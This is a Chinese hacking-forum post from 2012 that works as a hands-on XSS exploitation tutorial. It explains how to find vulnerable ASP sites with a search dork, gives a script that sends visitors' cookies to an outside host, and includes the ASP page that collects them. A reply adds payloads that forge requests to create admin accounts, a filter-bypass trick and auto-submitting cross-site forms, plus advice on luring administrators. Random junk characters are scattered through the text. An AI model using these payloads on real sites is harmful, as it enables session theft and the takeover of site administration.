找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1972|回复: 0
打印 上一主题 下一主题

实战xss漏洞利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:08:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前天贴吧一位朋友发了个后台XSS利用的帖子,大家就一起讨论了讨论,原帖为: ; p- ]/ _% V% d) U, ?5 S* ^+ |

: I6 b& n3 ?* x( D; ?http://tieba.baidu.com/f?kz=10690072396 }6 K8 i. @/ m' U/ ^3 X. F
! l2 W# j" m4 g6 C0 Y9 r! b
这个帖子说的只是一个思路,不是很详细,并且说的是利用后台XSS挂马的情况,但是其实在后台挂马一般是不会牵扯到XSS的,只是一个过滤不过滤转换不转换的问题,比如很多带编辑器的后台,都是不过滤不转换在文章中的html代码的,比如eweb,你可以直接编辑发表文章的时候的html代码,这就为挂马、盗cookie提供了很多机会。5 l% S% l, d4 m- O, {& n) ~

$ A1 b7 y' L0 h' \$ |但是,我想说的是,即使是挂马、盗cookie,也是不会使用location这种手法的,因为这样太明显了,一般都是使用普通挂马的手法的,比如iframe、JS等等。
1 z3 r% V" ]6 @: ]# N2 n3 O; N2 D
我在上边的帖子中说作者讲的不是很详细,希望出一个详细点的利用教程,于是今天又一位朋友就发了一个详细些的文章,我这里就发大博客里,让更多需要的朋友看到这篇文章。
- U6 l! K3 ^: w+ P7 {* Z# T. c' A7 z( r$ E; i! x. e) I, a
这个文章是对XSS的一个很简单的利用,原理很简单,主要用于科普,只是想让朋友们知道,XSS并不是简单的弹个框框玩那么简单的,是有很多利用价值的,在国外,XSS已经被列为网站杀手之一,包括国内的很多大站,大家都把心思放到了防范SQL注入上,相应的对XSS的防范就很少,这也是XSS总是能成功的原因之一。6 I1 k; p5 p! K9 X3 s) `

3 V, e4 A5 O+ }: [2 H% v好了,废话不多说了,一起来看文章吧。
+ i! S* Y+ s; v! T7 Q, i' y
- o' E' }0 P0 L; B, ?; u! _1 S* e-------------------------------------------------------------------
- A) u8 \; g- h
" j: j) f1 T' k' s! Y首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。4 \5 I- b/ B1 H/ W4 S
; |0 ^% u5 d& y- ]( k2 w
; \- j1 E/ E. p% D- O8 O! _
3 I. N& c. W7 U) o. L
再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:
- T% ~$ x1 E- ^/ l/ G
' r6 X/ Q  @" h; \8 Q 0 V$ f+ p) I* B# a1 |
, `+ g2 h- {0 `4 f6 Q
这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是
$ i0 R6 I, ?- I( O  Y/ y1 b1 P8 F1:让目标访问已跨站的网址,然后这个网址执行脚本, E& y- G. X* @+ [4 r8 g
2:然后跳转到你已经写好专门用来收集Cookie的网址, p9 ~  F  Z0 F$ I3 y

# X, D6 P* W7 I7 Z5 L具体实现方法:/ e  B* i& I* E# X$ Z1 v7 M9 z4 R& r
先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>
( g: C! u0 [  b6 @3 y这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。
, y8 P( j% |3 E  t" U3 |
0 G# |; R7 y5 L* f这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:
" @. o) n6 S% n% M
- o0 t6 l  Y( ^<html>: c" [3 W; T: ^& p/ U  B
<title>xx</title>* R+ ^+ F9 Y6 d# \( h
<body>& P1 o3 d9 P2 b; D
<%
* z7 T' ^& |  a4 ftestfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
. G2 P$ q4 G$ l* E, nmsg = Request("msg")   //获取提交过来的msg变量,也就是cookie值
8 r( W0 g+ @/ U  S% A9 Wset fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象
7 M1 Y: r2 {4 M! S( xset thisfile = fs.OpenTextFile(testfile,8,True,0)$ P# `( }. u4 X
thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie
; q; \# p; m" D+ `+ }5 `thisfile.close   //关闭
6 N7 j2 G6 o1 i( _' D6 Uset fs = nothing
0 V, y& N8 V# D( @%>
, G) t0 @" N6 l% l3 M6 [! O6 O</body>3 @& w2 ]" x$ c) V6 [' T( v8 Z
</html>9 Z9 D% J; o' w

/ [& t3 l! R6 q, f然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:" ^8 n/ q; P' A% R! d" m
8 n; A1 @) t! G. ~( e& j8 [
1 k' I! C# N) {7 o: Q, e' P
* z- }6 D  L% t3 B

# u3 w3 v8 X; q9 j  U拿出来看看,呵呵,Cookie到手:
7 J  \* g& K, ?% ]) R& X; l# n: l/ U: Q" K& `" i( G
: @7 J3 ~; o+ x) z  W/ L% W
2 N% l. T2 n1 S& W! g
本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~
* |! L- _. G5 F- @3 p5 q7 y1 n; w/ k3 z" p( G) u6 W
PS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。3 d8 P  s2 m5 y0 W" ^) G0 Q
& p3 C) s- T  y
-------------------------------------------------------------------
+ O/ Z6 q! b! |* Y; I9 j8 ]7 g- h. s
下面是我对这个帖子的回复,也一起贴过来吧:/ a1 U1 n+ s9 l0 Q2 I
5 v" l3 [9 ?" y" f1 ^; n6 u/ t8 J
说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。& x  {8 B! r! Y& p7 Y, r
. u& c- E( G# S* B. E! f. c/ q, ]
但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。
% s& `, X4 q1 H! K. E再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。
% X# ~8 d- Q6 A+ F
: E) {& U; e8 O1 W7 D" v) k. a  m在文章的最后,顺便贴上一般XSS的利用思路,也不是原创,原文链接:
4 q1 N  G) Q; W0 k8 S( T; U+ ]. w1 \: D5 i
http://user.qzone.qq.com/673116767/blog/12524525362 k) s2 `  K$ P' }4 m6 n
" g* m% Z3 d. l
一般发现一个xss漏洞后要做的基本上就是这些:9 a* q; {5 v8 e# e

0 z! ~$ o# o) x1.  伪造请求  使用$_REQUEST或$_GET
1 A" U( Z% X& t( ?5 ?. f, m: o" o2 ~0 s9 e' k
首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:
0 Q& A" C' f/ L1 H<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />
" L& s/ Q2 n0 {" B; k) M  z5 d当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。- o9 ]0 E5 X5 C1 u

. _1 G) w; k5 K* m如果是可视文本编辑器,可以尝试使用输入:! @# G" d9 ?  b* z( k
http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')
* o& \' _9 x8 r: f1 O这样最终会构造出:2 e! P! {) u7 i$ s0 \
<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />
: q) l8 j5 P% T3 @' x总之要举一反三。3 I6 }4 w# g. {8 \
$ p( T1 J! U; f& J5 p
2. 伪造请求  使用$_POST, _# L1 @) |# p! k* K7 b- M1 r

/ w* R5 \7 R* R. F" @当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:' }- k4 q) G7 i2 e; d$ R
<sc/*xss*/ript type="text/javascript">
! {. w* t: f  qvar aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");" [9 ^/ O) s6 e) ^0 S
aj.open("POST", "/admin/admin_add.asp", false);
: g4 g$ W  G7 i3 U6 ?/ Evar postdata = 'name=xxx&psd=yyy';
5 \2 Q" @$ z. u  M; jaj.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); ! f; b1 u5 z1 s5 x+ u
aj.send(postdata);1 `7 c4 v* D* D
</scr/*xss*/ipt>) _2 Y) O: B' a3 e/ [
/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。  t+ S0 Z% D0 u1 v( X% ^: j

0 t; |) U5 G: V& S8 m8 m  _3. 跨站伪造请求 使用$_GET 或 $_REQUEST
* a: b0 B# `3 }6 ^% K; ]& C! W5 S/ f" w1 s$ D) l2 s
与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片3 h# G& V/ ]5 {; w# _) @
<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/>
. s9 Z9 b4 \* b. e4 K然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。
. l+ x5 l2 ^4 j# ?2 c2 J" A5 t( u
+ [' Y/ T2 M9 i  C4.跨站伪造请求 使用$_POST(0day)) P0 `! G* B* H" R( D' T9 Q9 B
: k, n7 r' ~) J4 Y* k
如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。  {4 K; R( G' M

  v+ `+ @& U% _但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。; F9 ]' Q: ?  j: F. R- @

2 f$ y* `; r' a: Q总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。
6 j+ k. |. k) A+ I
8 U3 N2 `! y+ z0 a- u, vOK,该说的都说完了,Over。2 P( \9 v) J7 F6 S. s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表